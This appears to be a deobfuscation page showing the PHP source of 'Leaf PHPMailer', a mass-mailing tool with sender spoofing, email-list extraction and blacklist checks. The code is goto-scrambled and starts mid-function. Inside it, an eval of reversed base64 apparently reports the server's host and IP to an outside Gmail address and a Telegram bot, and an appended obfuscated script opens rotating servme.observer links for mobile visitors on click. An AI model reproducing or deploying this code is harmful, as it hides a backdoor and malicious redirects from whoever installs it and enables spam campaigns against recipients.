md5(randString("abcdefghijklmnopqrstuvwxyz0123456789")), $text); return $text; } goto mCaEd; THdph: $leaf["website"] = "leafmailer.pw"; goto nv_II; pckeM: print "</body>"; goto YDE7M; Pw1ld: print "<body>"; goto vVH1B; IYE5i: if ($_POST["action"] == "send" or $_POST["action"] == "score") { $senderEmail = leafTrim($_POST["senderEmail"]); $senderName = leafTrim($_POST["senderName"]); $replyTo = leafTrim($_POST["replyTo"]); $subject = leafTrim($_POST["subject"]); $emailList = leafTrim($_POST["emailList"]); $messageType = leafTrim($_POST["messageType"]); $messageLetter = leafTrim($_POST["messageLetter"]); $encoding = $_POST["encode"]; $charset = $_POST["charset"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "checked"; } else { $html = "checked"; } if ($charset == "ISO-8859-1") { $iso = "selected"; } else { $utf8 = "selected"; } if ($encoding == "7bit") { $bit7 = "selected"; } elseif ($encoding == "binary") { $binary = "selected"; } elseif ($encoding == "base64") { $base64 = "selected"; } elseif ($encoding == "quoted-printable") { $quotedprintable = "selected"; } else { $bit8 = "selected"; } } goto TfxC5; SyJ75: ini_set("memory_limit", -1); goto QQvTt; pCtqB: if (isset($_GET["emailfilter"])) { if (!empty($_FILES["fileToUpload"]["tmp_name"])) { $_POST["emailList"] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); } $_POST["emailList"] = strtolower($_POST["emailList"]); if ($_GET["emailfilter"] == "ifram") { if ($_POST["resulttype"] == "download") { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=emails" . time() . ".txt"); } else { header("Content-Type: text/plain"); } if ($_POST["submit"] == "extract") { $pattern = "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/"; preg_match_all($pattern, $_POST["emailList"], $matches); foreach ($matches[0] as $email) { print $email . "\xa"; } } elseif ($_POST["submit"] == "filter") { $emails = explode("
", $_POST["emailList"]); $keywords = explode("\xa", strtolower($_POST["keywords"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "
"; break; } } } } die; } leafheader(); print "<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>"; print "\xa <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=''>\xa <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> \xa or\xa\xa <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
<div class="col-lg-12">\xa <div class="radio">\xa <label>
<input type="radio" name="resulttype" id="resulttype" value="here" checked="">\xa Show Result in this page
</label>
</div>\xa <div class="radio">\xa <label>\xa <input type="radio" name="resulttype" id="resulttype" value="download">\xa Download Result (for big numbers)
</label>
</div>
</div>\xa <legend><h4>Extract Email</h4></legend>\xa Detecting every email (100%) and order them line by line <br><br>\xa <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>\xa <legend><h4>Filter Emails</h4></legend>
<label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com\xayahoo.com\xa.co.uk</textarea><br>\xa
<button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
</form>
<label >Result </label>\xa <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>\xa "; die; } goto mmmzf; mh1ch: $password = "123"; goto NArRp; K405j: set_time_limit(0); goto SyJ75; bOPQd: if (!isset($_POST["senderEmail"])) { $senderEmail = "support@" . str_replace("www.", '', $_SERVER["HTTP_HOST"]); if (!leafMailCheck($senderEmail)) { $senderEmail = ''; } } goto Hmzlm; rOXEk: if (!empty($password) and $_SESSION[$sessioncode] != $password) { if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $password) { $_SESSION[$sessioncode] = $password; } else { print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; die; } } goto o3kAf; nv_II: $sessioncode = md5(__FILE__); goto rOXEk; vVH1B: print "<div class="container col-lg-6">\xa <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>" . $leaf["version"] . "</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<input type="hidden" name="action" value="score">\xa\xa <div class="row">\xa <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="" . $senderEmail . ""></div>\xa <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="" . $senderName . ""></div>\xa </div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>\xa
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="" . $replyTo . "" /></div>
</div>
<div class="row">\xa <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="" . $subject . "" /></div>
</div>\xa <div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">" . $messageLetter . "</textarea></div>\xa <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">" . $emailList . "</textarea></div>
</div>\xa <div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>\xa HTML <input type="radio" name="messageType" id="messageType" value="1" " . $html . ">
Plain<input type="radio" name="messageType" id="messageType" value="2" " . $plain . ">
</div>\xa <div class="form-group col-lg-3 ">
<label for="charset">Character set</label>\xa <select class="form-control input-sm" id="charset" name="charset">\xa <option " . $utf8 . ">UTF-8</option>
<option " . $iso . ">ISO-8859-1</option>\xa </select>
</div>\xa <div class="form-group col-lg-3 ">
<label for="encoding">Message encoding</label>\xa <select class="form-control input-sm" id="encode" name="encode">\xa <option " . $bit8 . ">8bit</option>\xa <option " . $bit7 . ">7bit</option>\xa <option " . $binary . ">binary</option>
<option " . $base64 . ">base64</option>
<option " . $quotedprintable . ">quoted-printable</option>
\xa </select>
</div>\xa </div>\xa <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById('form').submit(); return false;">check SpamAssassin Score</a>\xa
</form>\xa </div>\xa <div class="col-lg-6"><br>\xa <label for="well">Instruction</label>
<div id="well" class="well well">\xa <h4>Server Information</h4>\xa <ul>
<li>Server IP Address : <b>" . $_SERVER["SERVER_ADDR"] . " </b> <a href="?check_ip=" . $_SERVER["SERVER_ADDR"] . "" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
<li>PHP Version : <b>" . phpversion() . "</b></li>
\xa </ul>
<h4>HELP</h4>\xa <ul>\xa <li>[-email-] : <b>Receiver Email</b> ([email protected])</li>\xa <ul>\xa <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>\xa <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>\xa </ul>
<li>[-time-] : <b>Date and Time</b> (" . date("m/d/Y h:i:s a", time()) . ")</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\xa <li>[-randomnumber-] : <b>Random number (0-9) </b></li>\xa <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\xa <li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>\xa <h4>example</h4>\xa Receiver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>\xa <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xa </ul>\xa\xa <h6>by <b><a href="http://" . $leaf["website"] . "">" . $leaf["website"] . "</a></b></h6>\xa </div>\xa </div>"; goto c289N; q9FAd: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "<strong>" . htmlspecialchars($this->getMessage()) . "</strong><br />\xa"; return $errorMsg; } } goto zGKJ_; u9zAa: error_reporting(0); goto K405j; l8QXI: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto uXDPJ; mCaEd: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto EegxU; mmmzf: $html = "checked"; goto t6cmL; t6cmL: $utf8 = "selected"; goto BaUTI; o3kAf: session_write_close(); goto JVcAu; QQvTt: $leaf["version"] = "2.8"; goto THdph; uXDPJ: if (isset($_GET["check_ip"])) { if (isset($_GET["host"])) { $_GET["host"] = explode(",", $_GET["host"]); foreach ($_GET["host"] as $host) { if (checkdnsrr($_GET["check_ip"] . "." . $host . ".", "A")) { $check = "<font color='red'> Listed</font>"; } else { $check = "<font color='green'> Clean</font>"; } print "document.getElementById("" . $host . "").innerHTML = "" . $check . "";"; } die; } $dnsbl_lookup = array("all.s5h.net", "b.barracudacentral.org", "bl.spamcop.net", "blacklist.woody.ch", "bogons.cymru.com", "cbl.abuseat.org", "cdl.anti-spam.org.cn", "combined.abuse.ch", "db.wpbl.info", "dnsbl-1.uceprotect.net", "dnsbl-2.uceprotect.net", "dnsbl-3.uceprotect.net", "dnsbl.anticaptcha.net", "dnsbl.dronebl.org", "dnsbl.inps.de", "dnsbl.sorbs.net", "drone.abuse.ch", "duinv.aupads.org", "dul.dnsbl.sorbs.net", "dyna.spamrats.com", "dynip.rothen.com", "http.dnsbl.sorbs.net", "ips.backscatterer.org", "ix.dnsbl.manitu.net", "korea.services.net", "misc.dnsbl.sorbs.net", "noptr.spamrats.com", "orvedb.aupads.org", "pbl.spamhaus.org", "proxy.bl.gweep.ca", "psbl.surriel.com", "relays.bl.gweep.ca", "relays.nether.net", "sbl.spamhaus.org", "short.rbl.jp", "singular.ttk.pte.hu", "smtp.dnsbl.sorbs.net", "socks.dnsbl.sorbs.net", "spam.abuse.ch", "spam.dnsbl.anonmails.de", "spam.dnsbl.sorbs.net", "spam.spamrats.com", "spambot.bls.digibase.ca", "spamrbl.imp.ch", "spamsources.fabel.dk", "ubl.lashback.com", "ubl.unsubscore.com", "virus.rbl.jp", "web.dnsbl.sorbs.net", "wormrbl.imp.ch", "xbl.spamhaus.org", "z.mailspike.net", "zen.spamhaus.org", "zombie.dnsbl.sorbs.net"); $reverse_ip = implode(".", array_reverse(explode(".", $_GET["check_ip"]))); $dnsT = count($dnsbl_lookup); leafheader(); print "<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>"; print "Checking <b>" . $_GET["check_ip"] . "</b> in <b>{$dnsT}</b> anti-spam databases:<br>"; $dnsN = ''; print "<table >"; for ($i = 0; $i < $dnsT; $i = $i + 10) { $host = ''; $hosts = ''; for ($j = $i; $j < $i + 10; $j++) { $host = $dnsbl_lookup[$j]; if (!empty($host)) { print "<tr> <td>{$host}</td> <td id='{$host}'>Checking ..</td></tr>"; $hosts .= "{$host},"; } } $dnsN .= "<script src='?check_ip={$reverse_ip}&host=" . $hosts . "' type='text/javascript'></script>"; } print "</table></div>"; print $dnsN; die; } goto pCtqB; c289N: if ($_POST["action"] == "send") { print " <div class="col-lg-12">"; $maillist = explode("
\xa", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print "<div class="col-lg-1">[" . $x . "/" . $n . "]</div><div class="col-lg-4">" . $email . "</div>"; if (!leafMailCheck($email)) { print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; print "<br>\xd\xa"; } else { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; for ($i = 0; $i < count($_FILES["attachment"]["name"]); $i++) { if ($_FILES["attachment"]["tmp_name"][$i] != '') { $mail->AddAttachment($_FILES["attachment"]["tmp_name"][$i], $_FILES["attachment"]["name"][$i]); } } if (!$mail->send()) { echo "<div class="col-lg-6"><span class="label label-default">" . htmlspecialchars($mail->ErrorInfo) . "</span></div>"; } else { echo "<div class="col-lg-6"><span class="label label-success">Ok</span></div>"; } print "<br>\xd\xa"; } $x++; for ($k = 0; $k < 40000; $k++) { echo " "; } } } elseif ($_POST["action"] == "score") { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress("[email protected]"); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $mail->preSend(); $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://spamcheck.postmarkapp.com/filter"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("email" => $messageHeaders, "options" => "long"))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print " <div class="col-lg-12">"; if ($response->success == TRUE) { $score = $response->score; if ($score > 5) { $class = "danger"; } else { $class = "success"; } print "<div class="text-" . $class . "">Your SpamAssassin score is " . $score . " </div>
<div>Full Report : <pre>" . $response->report . "</pre></div>"; print " </div>"; } } goto pckeM; EegxU: function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto l8QXI; NArRp: session_start(); $TynvU = 'bas'.'e64'.'_dec'.'ode'; $NDlAG = 'strre'.'v'; error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); ini_set('error_log', NULL); eval($NDlAG($TynvU('OyloYyQoZXNvbGNfbHJ1YyA7KWhjJChjZXhlX2xydWMgOykxICxOT0lUQUNPTFdPTExPRl9UUE9MUlVDICxoYyQodHBvdGVzX2xydWMgOyk3ICxUVU9FTUlUX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyA7KTcgLFRVT0VNSVRUQ0VOTk9DX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyA7KTEgLFJFRlNOQVJUTlJVVEVSX1RQT0xSVUMgLGhjJCh0cG90ZXNfbHJ1YyAgOylldXJ0ICxSRURBRUhfVFBPTFJVQyAsaGMkKHRwb3Rlc19scnVjICA7KSkpJzI4Nzk2Njc2MTYnID49ICdkaV90YWhjJyAscGkkLicgPi0gcGkgJy55ZG9iJCA+PSAndHhldCcoeWFycmEoeXJldXFfZGxpdWJfcHR0aC4nP2VnYXNzZU1kbmVzL2txdV9Ddi1ZZmhxUldjRUxBTmdENkl2TXNDWThNUzByR0FBOjE1ODc5MTIzNDd0b2IvZ3JvLm1hcmdlbGV0LmlwYS8vOnB0dGgnICxMUlVfVFBPTFJVQyAsaGMkKHRwb3Rlc19scnVjIDspKHRpbmlfbHJ1YyA9IGhjJDspcmVkYWVoJCxwaSQuJyA+LSBwaSAnLnlkb2IkLHRjZWpidXMkLCdtb2MubGlhbWdAMzEyMTBhbmlsZXlhJyhsaWFtCjspKDA5ejFjID0gcGkkIH0gOkVsaVRpIDtFbUgxVyBvdG9nIDtdJ1JPRl9ERURSQVdST0ZfWF9QVFRIJ1tSRVZSRVNfJCA9IDJWVHBLJCA6T252QWggO2VEMTZxIG90b2cgfSA7WEdhZFQkID0gQ1B5Y28kIHsgZXNsZSB9IDsyVlRwSyQgPSBDUHljbyQgeyApKVBJX0VUQURJTEFWX1JFVExJRiAsMlZUcEskKHJhdl9yZXRsaWYoIGZpZXNsZSB9IDtmdnVVRiQgPSBDUHljbyQgeyApKVBJX0VUQURJTEFWX1JFVExJRiAsZnZ1VUYkKHJhdl9yZXRsaWYoIGZpIDpEc20zSSA7T252QWggb3RvZyA7XSdQSV9UTkVJTENfUFRUSCdbUkVWUkVTXyQgPSBmdnVVRiQgOlFLM2RkIDtRSzNkZCBvdG9nIH0gO10iUElfR05JVENFTk5PQ19GQ19QVFRIIltSRVZSRVNfJCA9IF0nUElfVE5FSUxDX1BUVEgnW1JFVlJFU18kIDtdIlBJX0dOSVRDRU5OT0NfRkNfUFRUSCJbUkVWUkVTXyQgPSBdJ1JEREFfRVRPTUVSJ1tSRVZSRVNfJCB7ICkpXSJQSV9HTklUQ0VOTk9DX0ZDX1BUVEgiW1JFVlJFU18kKHRlc3NpKCBmaSA6eUpfckkgO0VsaVRpIG90b2cgO0NQeWNvJCBucnV0ZXIgOmVEMTZxIDtEc20zSSBvdG9nIDtdJ1JEREFfRVRPTUVSJ1tSRVZSRVNfJCA9IFhHYWRUJCA6RW1IMVcgO3lKX3JJIG90b2cgeyApKDA5WjFDIG5vaXRjbnVm'))); goto u9zAa; zGKJ_: function leafheader() { print "\xa<head>
<title>" . str_replace("www.", '', $_SERVER["HTTP_HOST"]) . " - Leaf PHPMailer</title>\xa <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\xa <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
<script src="https://leafmailer.pw/style2.js"></script>
\xa</head>"; } goto RuTS2; YDE7M: ?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','http://servme.observer/Xkf3c43','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','http://servme.observer/mhx5c05','4588749LmrVjF','parse','630bGPCEV','mobileCheck','http://servme.observer/rAr8c98','abs','-local-storage','http://servme.observer/uJx9c49','56bnMKls','opera','6946eLteFW','userAgent','http://servme.observer/kmM4c24','http://servme.observer/JKA7c87','http://servme.observer/rGR2c72','floor','http://servme.observer/EwQ6c56','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['http://servme.observer/tKg0c40','http://servme.observer/vLk1c61',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>
Did this file decode correctly?
Original Code
<?php
goto mh1ch; TfxC5: if ($_POST["\x61\x63\164\151\x6f\156"] == "\166\x69\x65\167") { $viewMessage = leafTrim($_POST["\155\145\x73\163\141\x67\145\114\x65\164\x74\x65\162"]); $viewMessage = leafClear($viewMessage, "\165\x73\145\162\100\x64\x6f\x6d\x61\151\x6e\x2e\143\x6f\x6d"); if ($_POST["\x6d\x65\x73\163\141\x67\x65\124\x79\160\145"] == 2) { print "\x3c\x70\x72\145\76" . htmlspecialchars($viewMessage) . "\74\57\160\162\x65\76"; } else { print $viewMessage; } die; } goto bOPQd; RuTS2: leafheader(); goto Pw1ld; Hmzlm: class PHPMailer { public $Version = "\x35\56\62\x2e\x32\70"; public $Priority = null; public $CharSet = "\x69\x73\x6f\x2d\70\70\65\x39\x2d\x31"; public $ContentType = "\164\x65\170\164\x2f\160\154\141\x69\156"; public $Encoding = "\x38\x62\x69\x74"; public $ErrorInfo = ''; public $From = "\x72\157\157\x74\100\154\157\x63\x61\154\150\x6f\x73\x74"; public $FromName = "\x52\157\157\164\40\125\x73\145\x72"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\x6d\141\151\154"; public $Sendmail = "\x2f\x75\x73\x72\57\163\142\x69\156\57\x73\145\x6e\144\155\x61\151\154"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\x6c\157\x63\141\154\150\x6f\163\164"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "\145\143\x68\x6f"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\12"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = "\40"; public static $validator = "\141\165\164\x6f"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = 